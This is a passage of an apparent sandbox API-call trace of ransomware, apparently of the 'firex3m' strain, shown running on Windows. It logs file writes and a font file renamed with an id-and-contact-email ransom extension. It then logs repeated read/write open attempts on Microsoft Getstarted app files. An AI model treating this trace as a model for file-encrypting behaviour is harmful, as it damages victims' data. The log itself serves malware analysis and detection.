liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.953] WriteFile (in: hFile=0x714, lpBuffer=0x728dbe8*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x728dbe8*, lpNumberOfBytesWritten=0x5afff0c*=0x1de0, lpOverlapped=0x0) returned 1 [0268.953] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.953] WriteFile (in: hFile=0x714, lpBuffer=0x728f9c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x728f9c7*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0268.953] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.953] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0268.953] CloseHandle (hObject=0x714) returned 1 [0268.953] GetProcessHeap () returned 0x630000 [0268.953] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x728dbe8 | out: hHeap=0x630000) returned 1 [0268.954] GetProcessHeap () returned 0x630000 [0268.954] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feb278 | out: hHeap=0x630000) returned 1 [0268.954] GetProcessHeap () returned 0x630000 [0268.954] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73188a0 | out: hHeap=0x630000) returned 1 [0268.954] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0268.954] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x66426825, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e0c, dwReserved0=0xa807496, dwReserved1=0x6feb270, cFileName="MTEXTRA.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MTEXTR~1.FIR")) returned 0x6d51c0 [0268.954] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0268.954] Sleep (dwMilliseconds=0x1) [0270.996] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x", len=0x71 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0270.996] GetProcessHeap () returned 0x630000 [0270.998] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c78) returned 0x6fe3bb0 [0271.000] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.015] Sleep (dwMilliseconds=0x1) [0271.033] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\en-GB\\toc.xml", len=0x6d | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\en-GB\\toc.xml") returned 1 [0271.033] GetProcessHeap () returned 0x630000 [0271.033] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ed4) returned 0x6fe3bb0 [0271.033] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\en-GB\\toc.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\surfacehub\\en-gb\\toc.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.044] Sleep (dwMilliseconds=0x1) [0271.059] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\en-GB\\doc_offline_getconnected.xml", len=0x82 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\en-GB\\doc_offline_getconnected.xml") returned 1 [0271.059] GetProcessHeap () returned 0x630000 [0271.059] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ed0) returned 0x6fe3bb0 [0271.059] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\en-GB\\doc_offline_getconnected.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\surfacehub\\en-gb\\doc_offline_getconnected.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.062] Sleep (dwMilliseconds=0x1) [0271.075] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\toc.xml", len=0x69 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\toc.xml") returned 1 [0271.075] GetProcessHeap () returned 0x630000 [0271.075] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ecc) returned 0x6fe3bb0 [0271.075] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\toc.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\mobile\\en-us\\toc.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.075] Sleep (dwMilliseconds=0x1) [0271.091] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\doc_offline_getconnected.xml", len=0x7e | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\doc_offline_getconnected.xml") returned 1 [0271.091] GetProcessHeap () returned 0x630000 [0271.091] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ec8) returned 0x6fe3bb0 [0271.091] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\doc_offline_getconnected.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\mobile\\en-us\\doc_offline_getconnected.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.092] Sleep (dwMilliseconds=0x1) [0271.106] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\toc.xml", len=0x69 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\toc.xml") returned 1 [0271.106] GetProcessHeap () returned 0x630000 [0271.106] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ec4) returned 0x6fe3bb0 [0271.106] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\toc.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\mobile\\en-gb\\toc.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.108] Sleep (dwMilliseconds=0x1) [0271.122] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\doc_offline_getconnected.xml", len=0x7e | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\doc_offline_getconnected.xml") returned 1 [0271.122] GetProcessHeap () returned 0x630000 [0271.122] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ec0) returned 0x6fe3bb0 [0271.122] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\doc_offline_getconnected.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\mobile\\en-gb\\doc_offline_getconnected.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.122] Sleep (dwMilliseconds=0x1) [0271.137] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\winlogo.png", len=0x6d | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\winlogo.png") returned 1 [0271.137] GetProcessHeap () returned 0x630000 [0271.138] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ebc) returned 0x6fe3bb0 [0271.138] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\winlogo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\images\\en-us\\winlogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.141] Sleep (dwMilliseconds=0x1) [0271.153] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\windows-main-08294e1b-0ad7-4937-9616-fcbc42ff7ff1.png", len=0x97 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\windows-main-08294e1b-0ad7-4937-9616-fcbc42ff7ff1.png") returned 1 [0271.153] GetProcessHeap () returned 0x630000 [0271.153] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4eb8) returned 0x6fe3bb0 [0271.153] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\windows-main-08294e1b-0ad7-4937-9616-fcbc42ff7ff1.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\images\\en-us\\windows-main-08294e1b-0ad7-4937-9616-fcbc42ff7ff1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.157] Sleep (dwMilliseconds=0x1) [0271.169] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\toc.xml", len=0x6b | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\toc.xml") returned 1 [0271.169] GetProcessHeap () returned 0x630000 [0271.169] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4eb4) returned 0x6fe3bb0 [0271.169] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\toc.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\hololens\\en-us\\toc.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.169] Sleep (dwMilliseconds=0x1) [0271.185] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\doc_offline_wifi.xml", len=0x78 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\doc_offline_wifi.xml") returned 1 [0271.185] GetProcessHeap () returned 0x630000 [0271.185] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4eb0) returned 0x6fe3bb0 [0271.185] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\doc_offline_wifi.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\hololens\\en-us\\doc_offline_wifi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.185] Sleep (dwMilliseconds=0x1) [0271.201] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\doc_offline_use.xml", len=0x77 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\doc_offline_use.xml") returned 1 [0271.201] GetProcessHeap () returned 0x630000 [0271.201] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4eac) returned 0x6fe3bb0 [0271.202] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\holoLens\\en-US\\doc_offline_use.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\hololens\\en-us\\doc_offline_use.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.202] Sleep (dwMilliseconds=0x1) [0271.216] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\toc.xml", len=0x6a | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\toc.xml") returned 1 [0271.216] GetProcessHeap () returned 0x630000 [0271.216] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ea8) returned 0x6fe3bb0 [0271.216] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\toc.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-us\\toc.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.216] Sleep (dwMilliseconds=0x1) [0271.232] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_speechrecognition.xml", len=0x84 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_speechrecognition.xml") returned 1 [0271.232] GetProcessHeap () returned 0x630000 [0271.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ea4) returned 0x6fe3bb0 [0271.232] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_speechrecognition.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-us\\doc_offline_speechrecognition.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.232] Sleep (dwMilliseconds=0x1) [0271.247] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_narrator.xml", len=0x7b | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_narrator.xml") returned 1 [0271.247] GetProcessHeap () returned 0x630000 [0271.247] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ea0) returned 0x6fe3bb0 [0271.247] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_narrator.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-us\\doc_offline_narrator.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.247] Sleep (dwMilliseconds=0x1) [0271.263] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_getconnected.xml", len=0x7f | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_getconnected.xml") returned 1 [0271.263] GetProcessHeap () returned 0x630000 [0271.263] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e9c) returned 0x6fe3bb0 [0271.263] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_getconnected.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-us\\doc_offline_getconnected.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.263] Sleep (dwMilliseconds=0x1) [0271.278] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_accessibility.xml", len=0x80 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_accessibility.xml") returned 1 [0271.278] GetProcessHeap () returned 0x630000 [0271.278] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e98) returned 0x6fe3bb0 [0271.278] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\doc_offline_accessibility.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-us\\doc_offline_accessibility.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.278] Sleep (dwMilliseconds=0x1) [0271.294] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\toc.xml", len=0x6a | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\toc.xml") returned 1 [0271.294] GetProcessHeap () returned 0x630000 [0271.294] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e94) returned 0x6fe3bb0 [0271.294] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\toc.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-gb\\toc.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.294] Sleep (dwMilliseconds=0x1) [0271.309] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_speechrecognition.xml", len=0x84 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_speechrecognition.xml") returned 1 [0271.309] GetProcessHeap () returned 0x630000 [0271.309] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e90) returned 0x6fe3bb0 [0271.310] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_speechrecognition.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-gb\\doc_offline_speechrecognition.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.310] Sleep (dwMilliseconds=0x1) [0271.325] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_narrator.xml", len=0x7b | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_narrator.xml") returned 1 [0271.325] GetProcessHeap () returned 0x630000 [0271.325] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e8c) returned 0x6fe3bb0 [0271.325] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_narrator.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-gb\\doc_offline_narrator.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.325] Sleep (dwMilliseconds=0x1) [0271.341] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_getconnected.xml", len=0x7f | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_getconnected.xml") returned 1 [0271.341] GetProcessHeap () returned 0x630000 [0271.341] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e88) returned 0x6fe3bb0 [0271.341] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_getconnected.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-gb\\doc_offline_getconnected.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.341] Sleep (dwMilliseconds=0x1) [0271.359] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_accessibility.xml", len=0x80 | out: 